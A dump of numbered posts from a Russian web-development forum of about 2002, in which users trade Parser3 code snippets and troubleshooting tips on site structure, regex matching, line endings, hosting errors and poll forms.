пример \"спортивности No.2\"\
hash нафиг не нужен. проще сделать split[/][h]\
получим nameless таблицу $path.1 и прочие будут работать."
"9615","в любом случае, не надо файлы пихать в БД, а то DB-Server будет в шоке и его матов на ваши уши хватит - поверьте!\
\
Советуется тупо грузить файлы на сервер (не DB, а HTTP/FTP), сортируя их по классификации. Потом же строить структуру и создавать ссылки. Примеры есть в моем предидущем посте(я его изменил).\
\
А вот описание в БД хранить очень даже рекомендуется. Можно записывать их, идентифицируя путем + названием файла."
"9616","и свои недостатки не признаём, ибо нефиг их признавать. Но это так шютка, а если серьёзно я почти его переделал ... правда с использованием XML."
"9618","Хочется, чтобы парсер сам пробовал пару раз с небольшой паузой удалить файл, [i]и только потом[/i] выкидывал сообщение об ошибке и мне бы не пришлось писать соответствующий ^try[] сейчас (ясно, что придётся, но хочется отсрочить). То есть я хочу тем самым снизить вероятность возникновения ошибки с конкурирующими записью-чтением одного файла на порядок..."
"9619","У тебя же есть сайт, весьма при том полезный для net.ru'шников. Чего ж там не выложить десяток примеров ? "
"9621","http://www.livejournal.com/talkread.bml?journal=itim&itemid=94405"
"9622","щас вот готовлю пример календаря с XML, потом когда будет готово и весь код сайта выложу."
"9623","Агат, если не трудно, прокомментируйте Ваш пост\
\
Спасибо."
"9625","информация о которых лежит в БД. Нужно для того чтобы не делать текстовый файл вида:\
[code]\
uri title\
/ home\
/news/ news\
...\
[/code]\
со списком всех разделов сайта"
"9626","если не жаль, шли на маил...\
\
жду с нетерпением!!!"
"9627","А при чем тут нежелающие работать :) Очень им поможет движок сборки сайта на двумерной XML базе :) Интересно сравнить решения. И взять лучшее от всех :)"
"9628","Это не SELECT uri FROM site, часом ? :-) А почему ты структуру сайта в БД хранишь ? Сразу в XML не лучше ? Все равно из базы в XML нужно преобразовать потом ..."
"9629","Это метод, при вызове которого формируется древовидная структура сайта, начиная с корневого каталога\
[code]\
@getfiles[]\
$dir[/]\
$search[^file:list[$dir]]\
^if($search){\
 ^search.menu{\
 $str[$search.name]\
#здесь мы говорим, чтобы выводились только .html файлы. Папки admin,classes и i считаются системными - их не выводим\
 ^if(^str.match[\\.html^$] || !^str.match[\\.] && !^str.match[^^admin^$] && !^str.match[^^i^$] && !\
^str.match[^^classes^$]){\
 ^if(!^str.match[\\.]){\
 <ul>\
 $search.name<br>\
#в случае с папкой выводим её содержимое. Получается рекурсия.\
 ^getsub[${dir}${str}]\
 </ul>\
 }{\
 $search.name\
#а здесь я не знал, что вывести, и остановился просто на размере файла\
 $f[^file::load[text;${dir}${str}]] $f.size<br>\
 }\
 }\
 }\
}\
\
@getsub[subdir]\
#метод рекурсии просмотра содержимого очередной папки\
$subs[^file:list[$subdir/]]\
^if($subs){\
 ^subs.menu{\
 $str[$subs.name]\
 ^if(^str.match[\\.html^$] || !^str.match[\\.]){\
 ^if(!^str.match[\\.]){\
 <li>$subs.name\
 <ul>\
 $subdir[${subdir}/${str}]\
 ^getsub[$subdir]\
 </ul>\
 }{\
 <li>$subs.name\
 $f[^file::load[text;${subdir}/${str}]] $f.size\
 }\
 }\
 }\
}\
[/code]\
код писался давно, тогда я мог многого не знать. Поэтому за спортивность кода не ручаюсь. В крайнем случае - можете его доработать."
"9630","комментировать тут особо нечего:\
[code]\
#######\
# работа с URI - формирование списка всех URI сайта\
@CLASS\
uri\
\
#######\
# конструктор\
@init[]\
$items[^table::sql{\
		SELECT\
			id,\
			parent_id,\
			dir,\
			title\
		FROM\
			t_sections\
		ORDER BY\
			id\
}]\
\
$uri_list[^table::create{uri	id	title\
/	0	home\
}]\
\
#######\
# форм. таблицы соответствий uri для всех разделов сайта\
@get_all_site_uri[]\
^items.menu{\
	^uri_list.append{^get_uri[$items.id]	$items.id	$items.title}\
}\
$result[$uri_list]\
\
#######\
# получение uri раздела по заданному id\
@get_uri[id][item;uri;define_parent_id;parent_id;method_id]\
$method_id($id)\
# получение parent_id раздела по заданному id\
$define_parent_id{\
	$item[^items.select($items.id == $method_id)]\
	$parent_id($item.parent_id)\
}\
$define_parent_id\
^while($parent_id > 0){\
	$define_parent_id\
	$uri[$item.dir/$uri]\
	$method_id($item.parent_id)\
	$define_parent_id\
}\
$define_parent_id\
$uri[$item.dir/$uri]\
$result[/$uri]\
[/code]\
\
Работает так:\
[code]\
$object[^uri::init[]]\
^object.get_all_site_uri[]\
[/code]"
"9632","при редактировании своего поста, в коде, который вызывается в форму для редактирования, херятся все табуляторы -> неудобно."
"9634","хорошо...но\
\
это ты сначала пишешь все разделы в базу, потом, вытягиваешь их...\
\
с простым .cfg проще...помоему...\
\
Представь, что у тебя не сайте появился новый раздел!\
У тебя сайт где - на локале? А если нет? Этож надо новый скрипт написать, на сервер его кинуть, запустить(если shell доступа нет). Он у тебя в базу этот раздел пропишет. Потом только раздел кидать.\
\
Я сделал на сайте admin section. Там я могу полностью управлять всеми файлами сервера. Появился новый раздел - изменил строчку в соответствующем .cfg файле. И все это через веб.\
\
Хотя точно также можно и с БД работу организовать...но все же...\
\
А код - спортивный. Видна набитая рука..:)"
"9637","будет выпущена версия = будет фича"
"9638","п2 из этого архива parser10_linux22_mysql_sp6.tar.gz почту не отправляет. Тут где-то пробегало, что сей баг известен и будет исправлен через 2 недели. \
Цитата: [i]\"В течении 2-х дней я переделаю конфигурацию, чтобы Парсер работал с Вашими правами. Чтобы избежать анонимного спама, у нас запрещено пользоваться sendmail от пользователя \
веб-сервера.\"[/i]\
\
Ну, иде оно?"
"9639","пока запись/чтение идут средствами parser, все необходимые блокировки уже организованы, и так никогда не будет, что в одном процессе начался ^save, а в другом кто-то ^load'ом считает пустой файл.\
\
поэтому проблемы есть только, когда кто-то посторонний читает/пишет файлы.\
\
можно сделать очистку кэша отдельным командным файлом, и делать там, что угодно."
"9640","У меня на локальной машине долго обрабатываются SQL-ные запросы... \
Хотя с PHP все летает...\
Может кто сталкивался??? Заранее благодарен"
"9641","Через БД действительно проще управлять, чем через кфг. Вместо кфг-файла лучше тогда XML (у меня так в движке, структура сайта в XML, страничка собирается и контент грузится откуда надо, где из базы, где из файла etc). И через web XML менять также как кфг можно... Только временами проще в локале руками XML править и на сервер по FTP выкидывать, чем лезть в админку через веб."
"9643","представь себе сайт скажем в котором общее количество разделов штук 100 и глубина иерархии скажем 5. Тебе вдруг взбрындило изменить имя каталога раздела у которого штук 20 детей, что произойдет? Правильно, - будешь рыть носом файл и менять все строчки касающиеся детей этого раздела.\
\
Да и этот код родился не на пустом месте, - у меня раньше были cfg файлы для этого, - было жутко неудобно.\
\
> Представь, что у тебя не сайте появился новый раздел!\
\
Легко, - добавляю информацию о нём в БД через админский веб-интерфейс и все, строчка об этом разделе появляется в формируемой таблице URI."
"9645","парсер, при попытке удаления заблокированного файла не вываливал бы ошибку сразу, а пробовал бы удалить файл ещё один раз через четверть секунды. Если и тогда удаления не произойдёт, вываливать сообщение. Это же так просто! Чем плохо или \"неэлегантно\" такое решение?"
"9648","Какой SQL-сервер? MySQL? Попробуй посмотреть количество соединений с SQL-сервером после выполнения одного скрипта. Может быть у тебя есть [i]вложенные[/i] операторы ^connect? Насколько я помню, при каждом [i]вложенном[/i] операторе ^connect parser3 создавал новое соединение. "
"9649","Для лучшего эффекта нужно запустить Disk Defragmenter, и после этого постучать по НЖМД. Внимание: рекомендуется заранее приготовить адрес гарантийной службы. "
"9652","скорее наоборот, у неё размер кластера по умолчанию меньше чем у FAT и есть накладные расходы связанные с проверкой прав доступа (ACL - access control list)."
"9654","1. если в методе после $result[что-то] идёт ещё какой-то код, будет ли этот код выполняться?  \
2. $result[что-то] это аналог return в С или как?\
3. есть метод\
@method[]\
blablabla\
$result[1]\
\
Почему при вызове ^method[]выводится\
1 \
а не\
blablabla1\
?\
4. \
если метод возвращает скажем 1 и делает ещё что-то (выводит текст какой-то или ещё что-то перед тем как вернуть 1), то почему\
при выполнении ^if(^method[]) метод не делает этого самого? В С, php,... это именно так и присходит."
"9655","1. будет\
3. так и должно быть: http://parser.ru/docs/lang/defineclass.htm\
4. не понял. если ты в своем методе вместо blablabla напишешь $a(1) и потом после вызова метода посмотришь на $a то увидишь, что код выполнился."
"9656","так это же неудобно. если мне надо чтобы метод после какой-то проверки перестал выполняться и вернул что-то, как я это сделаю? почему в парсере нет return?\
"
"9657","мне представляется, что наш язык должен быть максимально простым, поэтому в нём нет ни goto ни иже с ним… break, continue, return.\
\
возможно, я передумаю со временем и [b]хорошими[/b] примерами.\
\
ведь часто return'ом хотели сообщить об ошибке… в этих случаях рекомендуется делать ^throw, куда удобнее.\
\
в других случаях не вижу ничего некрасивого написать ^if.\
\
исключением являются какие-то циклы с поиском чего-то, их рекомендуется делать ^table.locate, что и короче и эффективнее.\
\
также подумайте о использовании hash, часто поиск тривиально заменяется на обращение в hash — короче и эффективнее.\
\
приведите конкретный пример, обсудим."
"9658","С access control задержек не будет - mysql при запуске открывает все frm, myd и myi файлы и \"отпускает\" их только после shutdown - то есть права доступа проверяются один раз - при старте. А вот на журналирование и возможность rollback в NTFS накладные расходы да, будут. Но не б[i]о[/i]льшие, чем в ReiserFS или Linux Ext3"
"9659","однако я не привязывался конкретно к MySQL а просто взял из головы первый попавшийся случай"
"9660","Ув. PAF! Спасибо за ответ! но мне не кажется, что отсутствие break, continue, return делает язык простым. наоборот. пересаживаться с других языков (пхп например) на парсер неудобно. лучше включить это, чтобы удобно было всем. а люди сами решать будут чем пользоваться.\
\
вот еще пример. вам надо сделать проверку if(function()){...}\
если function()помимо того что возвращает чего-то ещё и делает что-то, то естественно будет, если произойдёт не только проверка \"чего-то\", но ещё и выполнение \"что-та\". а у Вас выполнение \"что-та\" не происходит. это ж неудобно."
"9661","В 1968 г. известный ученый-компьютерщик Edsger Dijkstra опубликовал статью под названием \"Инструкция GoTo вредна\" В то время это разрушило общепринятые взгляды на программирование, на го сыпалось много критики. Он утверждал что с данной конструкцией будет гораздо большая вероятность ошибок. Теперь же существуют языки с отсутствующим goto и никто не жалуется. То же самое и с return."
"9662","Пытаюсь использовать пример по изменению размеров картинки.\
На хостинге уже установлена версия ImageMagick.\
А скрипт почему-то не работает.\
Все время пишет сообщение:\
\"Ошибка внешней программы...\"\
причем пишет тоже самое даже после того как я стер весь код из скрипта images.pl\
Почему у меня незапускается скрипт?\
\
	$f[^file::exec[/cgi-bin/images.pl;\
		$.DESTINATION_PATH[$destination_path]\
		$.SOURCE_PATH[$source_path]\
		$.IMAGE[1.$nameParts.piece]\
		$.X_SIZE[50]\
	]]\
	^if(!$f.status){\
		$response:refresh[\
			$.value[0] \
			$.url[$request:uri]\
		]\
	}{                                     \
		Ошибка внешней программы...        \
		$f.text                            \
	} "
"9663","Global search&replace"
"9665","goto это действительно некрасиво и не нужно. но return, break и continue это другое и я с Вами не соглашусь. попробуйте убедить что это не нужно разработчиков пхп или с :) "
"9667","Сдается мне, что ты путаешь понятия \"не делается\" и \"не выводится\".\
Попробуй просуммировать что-нить в глобальной переменной - увидишь, она изменится."
"9668","пусть каждый идёт своим путём, посмотрим кто будет прав."
"9669","Заменить все \"якобы пробелы\" на нормальные пробелы.\
Делать так:\
1. Выделить \"пробел\"\
2. ctrl+c\
3. ctrl+f (или как там в редакторе Find&Replace позвать)\
4. ctrl+v в окошко поиска\
5. пробел в окошко замены\
6. replace all\
"
"9670","можно собрать, если ждать не хочется."
"9671","правильно, лучше не убеждай. потому что только опозоришься. если не знаешь разницы между goto и return, то return возвращает значение функции (для общего развития)."
"9672","Все-равно тоже самое.\
Я сейчас оставил в скрипте только две строки:\
\
#!/usr/bin/perl\
print \"Дополнительная информация:\\n\";\
\
И опять такая же ошибка."
"9673","правильно, лучше не убеждай. потому что только опозоришься. если не знаешь разницы между goto и return, то return возвращает значение функции (для общего развития).\
"
"9674","развит маненько :)"
"9675","воткнул туда писюковых переводов строк.\
\
такой скрипт на unix работать не будет. замени переводы строк (обычно в редакторах есть такие команды: convert from dos to unix) и будет тебе счастье.\
\
"
"9676","В принципе ошибку я исправил, я просто не правильно поставил права доступа к файлу images.pl\
И теперь у меня выводится сообщение:\
Изменение размера завершено...\
\
Но вот реально никакого изменения непроизошло.\
\
в UltraEdit делал функцию \
convert cr/lf to wrap."
"9678","там есть пункты меню: Format > Convert CR/LFs to Wrap и Format > Convert Wrap to CR/LFs "
"9679","есть метод ему надо передать строку, извлеченную из БД. можно ли предавать стороку в виде таблицы, или в виде хэша? Вообще че-то я в ^букваре  не очень много нашел про аргументы методов."
"9681","OK, скрипт заработал.\
Теперь новая беда.\
Скрипт не может найти файл 1.jpg. \
Хотя файл есть и параметр через\
 my $src_path=$ENV{'SOURCE_PATH'};\
передается правильно.\
Где он пытается его найти ума не приложу..."
"9683","было бы не плохо и здесь его увидеть, да бы знать что еще появилось в новвых версиях"
"9684","Сервер MYSQL...\
Делаю 1 таблицу, пишу connect и один select...\
из PHP все реально, а из парсера простой select работает 3-4 секунды ??? "
"9685","Сохрани свой *.pl скрипт на локальном диске...\
Затем скачай http://spearance.tura.ru/parser3/pictures/deletespace/rem_cr.exe\
В коммандной строке пиши rem_cr.exe твой_скрипт.pl\
Так ты уберешь все ненужные знаки.\
А потом качай его на ftp и пробуй...\
При закачке не забудь выставить права.\
Если что-то не получается, пиши мылом с кусками кода... разберемся."
"9686","Код для случайного выбора записи из таблицы:\
[code]\
$table[^table::load[razdel.cfg]]\
$table[^table.select(^table.offset[]==^math:random(^eval(^table.count[]-1)))]\
[/code]\
Так вот, $table чаще всего бывает undef...\
Добавлял:\
[code]\
^if(def $table){yes}{no}\
[/code]\
Чаще всего выскакиевает [b]no[/b]\
Почему? Покажите ошибку."
"9688","А на счет изменений, то верно подмечено."
"9689","Сначала определение:\
[quote]\
Метод offset без параметров возвращает текущее смещение указателя текущей строки от начала таблицы.\
[/quote]\
\
Таким образом перевод на русский язык твоего кода звучит примерно так: \"отобрать из таблицы запись номер которой на каждом шаге перебора совпадет со случайным числом\". Вероятность такого события невелика - поэтому ты и получаешь пустую таблицу.\
\
Кроме того не понятно сколько записей тебе нужно. Вероятно стоит более точно сформулировать задачу."
"9690","обычный HomeSite может спокойно конвертить из *nix в win"
"9691","Тут у нас с Мишей разговор зашел.\
\
Бывают ли опросники с checkbox'ами?\
\
Я видел только с radiobox'ами.\
\
Миша говорит - бывают.\
\
Кто видел - нельзя ли ссылку?!"
"9692","Я утверждаю, что бывают опросы, в которых посетитель может выбрать более одного варианта ответа. Предлагаю автору если писать класс для этого, то добавить возможность создавать в рамках этого класса и подобные голосовалки..."
"9693","опрос типа: \"Каким сотовым вы пользуетесь?\"\
\
Если интересует как это реализуют можно посмотреть демо системы \"Сайтистика\":\
http://saitistika.demo.saitistika.ru/scripts/interactive-voting.mae"
"9694","Можно ли как-нть сделать что-нть подобное на Parser'е?\
function CoDeStr(St : string) : string;\
var\
  x     : integer;\
begin\
  SetLength(result,length(St));\
  for x:=1 to length(St) do begin\
    result[x]:=char(byte(St[x]) xor ($55 shl (x and 1)));\
  end;\
end;\
\
Я сделал примерно так:\
$b[некоторая строка]\
$a[]\
^for[i](1;^b.length[]){\
$c[^b.left(1)]\
$b[^b.mid(2,^eval(^b.length[]-1))]\
# >>> $c[$c.char]\
^if($i & 1 == 1){\
		$c[$c # 170]\
	}{\
		$c[$c # 85]\
	}\
# >>> $c[$c.string]\
$a[$a+$c]\
}\
Только как в помеченных участках делать преобразование char в byte (символа в число по ASCII-коду) и обратно?\
\
ps Или как можно закодировать строку другими способами?\
"
"9695","а как на счет комбинированных опросников?! Чтоб и с radio и с checkbox?! Такие бывают?!"
"9698","а то как это все работать станет?! Да?!"
"9699","К примеру в Издательстве \"Открытые системы\" раньше был такой опросник, дабы выявить самые читаемые журналы... Правда сейчас его уже нет."
"9700","В бытность мою в monitoring.ru делала для нас одна малоизвестная вебдизайн-студия :) систему онлайн-опросов. Реализовали тогда не всё, в частности, не все типы возможных вопросов - но вот что в итоге было сделано:\
\
- single choice quesion (radioboxes)\
- multiple choice quesion (checkboxes, причём число \"галочек\" можно ограничить или верхним пределом - \"Укажите до трёх любимых сортов пива из списка\" или жёстко задать число ответов - \"Выберите три известные вам марки\")\
- single choice quesion + other (либо один вопрос из меню, либо названный опрашиваемым)\
- multiple choice quesion + other (либо несколько вопросов из меню, либо до N называнных опрашиваемым вариантов)\
- free-form input (\"что бы вы хотели улучшить в продукте N в первую очередь\")\
\
А вообще, типов вопросов может быть гораздо больше, анкета может быть адаптивной, учитывать переходы (в предыдущем вопросе мы выяснили, что опрашиваемый - мужик, посему нечего его про тушь для ресниц спрашивать), вопросы могут группироваться по нескольку на страницу, чтобы лишних переходов не делать, вопросы могут быть обязательными (ну не может опрашиваемый ответить на некий вопрос \"затрудняюсь ответить\" если дданные ответа нам нужны для перехода к определённому блоку вопросов), вопросы могут адаптироваться в зависимости от предыдущих ответов (\"[i]smart questionnaire[/i]\") и т.п.\
\
Уфф... Высказался :)\
"
"9701","Выявляются открыванием Gallup NRS/Galileo4 и считанием таблички cover table по интересующим изданиям, а не опросом на сайте :) Не обольщайтесь \"возможностями интернет-технологий\" :)"
"9702","в utf-8 теоретически бывает, что char->6(шесть) байт.\
\
так что нет пока такой функции. и обратной ей тоже.\
пока никому больше, чем вывести А..Я не нужно было.\
\
кодирования не особенно типичны. хеширование паролей есть.\
а обратимые кодирования... думаю, это стоит делать более подходящими средствами. думали о ^file::exec[encode.pl]?"
"9703","http://www.survey.com/products/demos/samplesurvey.html"
"9704","С checkbox, radio, select и т.д.\
\
Пример : http://www.supremum.com.ua"
"9705","в наэкранный опросник / бумажную анкету для самозаполнения совать меню из более чем 8 вариантов ответа - они у среднего человека в голове не поместятся все..."
"9708","есть урла: www.site.dev/service/card/\
хочу вырезать - /service/\
написал так:\
[code]\
^request:uri.match[(^^/w/)][g]{$start_url[$match.1]}$start_url\
[/code]\
выдает:\
/service/card/ - :(\
как лечить?"
"9709","^request:uri.match[^^/(\\w)/][g]{$start_url[$match.1]}$start_url"
"9710","В смысле, зачем решать подобную задачу в общем виде ? ИМХО, опросник сильно зависит от контекста, в котором опрос проводится. В контексте и ясно, что там нужно (выбор \"1 из многих\", \"несколько\", \"свой вариант ответа\" etc). Кроме того, одиночный выбор вариантов можно делать радио, а можно дропдауном. Что опять-таки зависит от контекста опроса, а также от ограничений на компановку на экране. Количество вариантов ответов тоже определяется мотивированностью пользователя ... И так далее."
"9711","А у нас, социологов/маркетологов - первейшая аксиома - \"респондент, по умолчанию - тупой. Реже - тупой совершенно\". \
\
Не надо обольщаться."
"9714","^str.match[^^/([^^/]+)]"
"9715","сделать админ часть.\
\
В ней предполагается давать возможность составлять и запускать голосования любого содержания без написания кода. Просто поотмечал нужное и сабмит. Надо тебе чекбокс - пожалуйста, надо тебе радиобутон - держите крепко. Это я уже сделал.\
Вопрос в том, как потом обрабатывать полученную форму.\
\
Рассмотрим такой пример.\
В голосовании задействовано 3 варианта ответа. 1 радио, 2 чекбокса.\
Пользователь выбирает радиобутон, потом думает немного и хочет поменять его на чекбокс. Меняет. И что?! Чекбокс - селектед, НО и радиобутон тоже остается селектед. Он не меняется, т.к. ему не на что меняться - другого радива нет!\
Вот если радивав поставить не меньше 2-ух - тогда все в порядке. Но, как сказал Миша, вдруг админ дурак, сделает 1 радиобутон?\
Тогда - жо.. с большой буквы.\
Как мне здесь быть? Можно javascript подтянуть - unseleсt'ить радиву, но это уже несовместимость и еще куча гемороя..."
"9717","$start_url[^str.match[.*(/\\w+/).*][]{$match.1}]\
\
только тебе надо www.site.dev/service/card/ без /service/, или ты хочешь добыть /service/? Если 2-ое, то этот код работает.\
"
"9718","а вот это:[code]\
$start_url[^request:uri.match[^^(/\\w+/).*][]{$match.1}]\
[/code]\
дает [b]/service/[/b]"
"9719","Люди, подскажите, как вывести hex-код строки, состоящей из одного символа."
"9720","Вроде парсер я поставил, только как-то странно он себя ведёт \
\
Говорит\
error 400 bad request\
\
[Wed Nov 20 11:13:41 2002] [error] [client 194.158.211.60] Invalid URI in request GET /egortesthtml.html HTTP/1.0 \
\
Причём файл такой есть. И ошибку оно выдаёт только когда обращаешься к файлу в котором внутри код на парсере (любой)\
\
парсер третий.\
Apache/1.3.19\
Linux kap.plesk.ru 2.2.16-22 #1 "
"9721","попробуй обратиться к самому парсеру - http://твой_сайт/cgi-local/parser3.cgi - и посмотри, что скажет..."
"9722","гм. спасибо. проблема решилась. \
но, похоже, сама собой и без моего участия. \
глюк."
"9724","/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
[Thu Nov 21 00:48:06 2002] [error] [client 62.102.145.78] Premature end of script headers: /pub/home/valueb93/alex/cgi-bin/parser3.cgi\
\
Чего ему надо? по шее надавать? :) Не понимаю я в этом ничего..."
"9725","^table.offset[] этот тот же ^table.line[], только с нуля, а не с 1.\
\
так как ^math:random \"начинается\" от нуля, то использовать нужно offset.\
\
Запись мне нужна ОДНА, но случайная... Поэтому верхний предел - ^table.count[]-1.\
\
По логике всеверно и долно работать, но...\
А вот когда ручками явно пишешь типа:\
^table.select(^table.offset[]==1)\
тогда все получается нормально... строку нужную выводит...\
\
Эх... вот бы ПАФ высказался по этому поводу :)"
"9726","[quote][b]^таблица.select(критерий_отбора)[/b]\
Метод последовательно перебирает все строки таблицы, применяя к ним выражение критерий_отбора, те строки, которые подпали под заданный критерий (логическое выражение было истинно), помещаются в результат, которым является таблица с такой же структурой, что и входная. \
[/quote]\
И что у тебя получается? Парсер перебирает твою таблицу [фактически ^table.menu] и на каждом шаге вычисляет случайное число и сравнивает его с номером текущей записи. Теоретически в результате у тебя может получится несколько записей.\
\
Решение простое:\
[code]\
$tab[^table::load[razdel.cfg]]\
^tab.offset(^math:random($tab))\
\
 Далее используй текущую строчку таблицы ...\
\
[/code]\
"
"9727","1. у вас когда-нибудь что-нибудь работало? на какой машине работало?\
\
0. вероятно, установлена версия не от вашей OS [или от вашей, но недостаточно близкой версии = бинарно несовместима]."
"9729","[code]\
$table[^table::load[section.cfg]]\
^table.offset(^math:random($table)]\
[/code]"
"9730","Очевидно это 700 (-rwx --- ---), т.е. все права только для владельца файла, и ни для кого другого."
"9731","Хотелось бы услышать мнение про данную СУБД и найти хорошую реализацию для Win32 (очень не хочется самому собирать из исходников)."
"9732","Есть переменная $str_file содержащая текст файла, необходимо заменить символ конца строки (точнее не заменить, а перед ним вставить информацию).\
\
Можно сделать ли методом ^str_file.replace? - как обратиться тогда к коду конца строки?\
Можно преобразовать untaint  - например, таблица преобразований js заменит символ конца строки на \\n, но также преобразуются и другие символы - можно ли заменить только символ конца строки?"
"9733","До этого там стоял parser более ранней версии. FreeBSD_grupunlim. все ратало...\
Скачал последнюю FreeBSD. grupunlim - вот такая канитель...\
\
[b]Замечение:[/b] Сайт на valuehost.ru.\
Точно такая же версия стоит на liderhost.ru и все работает.\
А liderhost это тот же саймы valuehost, только с другим дизайном..."
"9734","Сильная вещь!\
"
"9735","раньше мы всё собирали на FreeBSD 4.5, теперь перешли на 4.6.\
возможно, проблемы отсюда, и сборка из исходников поможет.\
\
академический интерес:\
а что говорит\
[code]\
ldd parser3.cgi\
[/code]\
и\
[code]\
nm parser3.cgi\
[/code]\
\
warning: следующий будем собирать на 4.7 [прогресс не остановишь!]"
"9736","Вот такая вещь меняет \"enter\" на нормальный виндовый \"Enter\"\
^s.match[(^#0A)][g]{^#0D^#0A}]\
и таким образом можно делать вообще любой поиск-замену"
"9737","[code]\
$text_to_paste[some text]\
$file.text[^file.text.match[(.*)^$][gi]{$match.1$text_to_paste}]\
[/code]\
\
...не проверял, но должно работать..."
"9738","вопрос: зачем бы могло такое понадобиться?"
"9739","В каких режимах закачивать файлы parsera:\
\
[b]charsets, lib (mysql), auto.p and parser3.cgi[/b].\
\
и какие к ним надо дать минимальные права доступа?\
\
Спасибо.\
\
"
"9742","мне это понадабилось, когда я кидал данные, содержащие \"enter\", из текстового поля web-формы в БД и хотел просматривать их через форму, например, MS Access. Когда эту \"вещь\" я не делал каждый \"enter\" выводился квадратиком и в поле формы всё получалось в одну строку - читать было неудобно. А вот это \"вещь\" мне помогла."
"9744","Из оперы этот пост пишу, у тебя какая версия? у меня и 6 и 7 работают в этом форуме."
"9747","включи их (F12...)"
"9748","Господа, очередное отупление организма:\
как сделать выборку byParent (folders, например) - кристально ясно. \
А вот как сотворить таблицу byChild, передавая id чайлда?\
типа\
[code]\
foldername>id\
child>id\
parentOfChild>id\
parentOfParent>id\
[/code]\
Вижу, что легко, но конкретный алгоритм чего-то не пишется :-)"
"9750","Я не знаю что ты имеешь ввиду :)))\
Как в опере 5,6 так и в 7 надо указать шрифты, которые будут у тебя будут использоваться.\
\
Не забыть указать International на закладке Fonts & Colors..."
"9751","Он не ставит там ничего кроме Arabic "
"9753","Почему имея метод body[] такой:\
# body - само тело листа\
@body[]\
^navigation[]\
<table width=\"100%\" height=\"70%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
	<tr bgcolor=\"#FFFFFF\" height=\"100%\">\
		<td widht=\"20%\" valign=\"top\" bgcolor=\"#A2D0F2\">\
			^body_additional[]\
		</td>\
		<td widht=\"80%\" valign=\"top\" bgcolor=\"#f9c7e9\">\
			<b>^body_main[]</b> \
		</td>\
\
	</tr>\
</table>\
<br>\
У меня на каждой странице получается разное отношение столбцов body_additional[] и body_main[]?\
\
Единственное что мне понятно так это то что отношение напрямую зависит от строк в index.html при равных значениях @body_additional[]\
@body_main[] все путем. :(((((((\
"
"9755","У сеня есть такая конструкция:\
[code]\
...\
$file[^file::load[binary;/data/file.cfg]]\
<textarea rows=\"20\" name=\"my_file\" style=\"width: 100%^;\">$file.text</textarea>\
...\
[/code]\
\
Но при такой конструкции переносы строк выводятся \"скрепленными\", т.е.\
\
Мой файл что-то типа:\
[code]\
Спросите, зачем вам Apache и почему это его надо ставить именно под Windows? Ну, первый вопрос для вас, наверное, не стоит, коли вы читаете эту статью. Вопрос &#151^; почему под Windows?\
\
Такая необходимость может появиться в жизни не один раз. Вы можете иметь сайт на сервере у своего провайдера, куда вы закачиваете страницы и скрипты по модему, борясь с многочисленными Internal Server Error'ами, выползающими неизвестно откуда. Конечно, удобнее выяснять причину очередной \"Error 500\" на домашней копии своего сайта, а не в интернете, занимая телефон и тратя уйму денег, но при этом у вас может не хватать храбрости (или дури в голове - это как посмотреть) поставить Linux.\
\
Вам также может потребоваться организовать внутрифирменный вебсервер для хранения общей базы данных, календарей и записных книжек ваших коллег, но вы связаны тем, что ваш сервер работает под NT, и вы понимаете, что Internet Information Server (IIS) от Microsoft бедному серверу уже не потянуть. Причин может быть множество, при этом установка Apache под Windows может быть именно тем решением, которое вам необходимо.\
[/code]\
\
А в форме выводится, как:\
[code]\
Спро'сите, зачем вам Apache и почему это его надо ставить именно под Windows? Ну, первый вопрос для вас, наверное, не стоит, коли вы читаете эту статью. Вопрос - почему под Windows?\
Такая необходимость может появиться в жизни не один раз. Вы можете иметь сайт на сервере у своего провайдера, куда вы закачиваете страницы и скрипты по модему, борясь с многочисленными Internal Server Error'ами, выползающими неизвестно откуда. Конечно, удобнее выяснять причину очередной \"Error 500\" на домашней копии своего сайта, а не в интернете, занимая телефон и тратя уйму денег, но при этом у вас может не хватать храбрости (или дури в голове - это как посмотреть) поставить Linux.\
Вам также может потребоваться организовать внутрифирменный вебсервер для хранения общей базы данных, календарей и записных книжек ваших коллег, но вы связаны тем, что ваш сервер работает под NT, и вы понимаете, что Internet Information Server (IIS) от Microsoft бедному серверу уже не потянуть. Причин может быть множество, при этом установка Apache под Windows может быть именно тем решением, которое вам необходимо.\
[/code]\
\
И если в файле присутствуют такие строчки, как \"&nbsp^;\", \"&ndash^;\", \"&mdash^;\", то они так же и выводятся, а если взять и вывести в ТЕКСТАРЕА текст с помощью ^taint[as-is][$file.text], то текст будет выведен с нужными мне абзацами, но все доп. символы \"&nbsp^;\", \"&ndash^;\", \"&mdash^;\" станут выводиться. как \" \", \"—\", \"–\", сответственно...\
\
А мне надо, чтобы текст выводился с абзацами, но вот эти доп. символы не заменялсь на \" \", \"—\", \"–\", сответственно...\
как это можно сделать?"
"9757","Соответствующий пример с gif'ом приведен в документации, но с jpg'ом так не получается, поскольку парсер не может создать image на основе jpg-файла. Или я чего-то не понимаю?\
То есть приходится пользоваться внешними перловыми библиотеками. Странно, неужели никому не требовалось автоматически генерить thumbnails?"
"9758","Господа, а куда подевалась команда insert в таблицу? Можно только append? А если надо в нужное место вставить строку?\
И еще вопрос - как сделать антиmenu ^-) то есть\
выводить не 1 2 3 4 5, а 5 4 3 2 1?"
"9760","или используй for или отсортруй в обратном порядке и menu..."
"9761","Если у кого остался такой, скиньте плиз...\
Из исходных я сам не могу собрать...\
\
Перешел на новую версию, называется! :))))))))"
"9762","Сортировать не по чему - appendом добавлял самые разные строки.\
А с помощью for - как? Сначала сдвигать на количество строк, а потом оффсет с минусом?"
"9764","Который раз закачиваю, и все забываю, что в binary надо...\
Вот башка тупая... Еще на форуме всех отвлекаю...\
\
Уже десятый раз по одному и тому же месту одними и теми же граблями..."
"9765","... как делается поиск?\
Допустим на этом форуме...\
Ведь поиск ведется по стоке? Но как узнать в какой \"линии\" таблицы она находится?\
Думаю, про ^table.locate и говорить нечего... там ведь ищется только [b]полное[/b] совпадение с шаблоном?"
"9767","поиск делается по базе данных (SELECT id, title FROM messages WHERE title LIKE 'search_string').\
\
А id'ы и заголовки сообщений выводятся в результат ...\
\
P.S. Прошу не придираться, ежу понятно, что настоящий запрос выглядит сложнее (даты, авторы etc)..."
"9768","т.е. будут отобраны [b]все[/b] строки, в которых содержится search_string?\
К сожелению, до воскреченья не будет возможности испробывать... :(\
\
ЗЫ: А если мне надо не по MySQL, а по .cfg, тогда как?"
"9769","Опиши конкретней, что надо..."
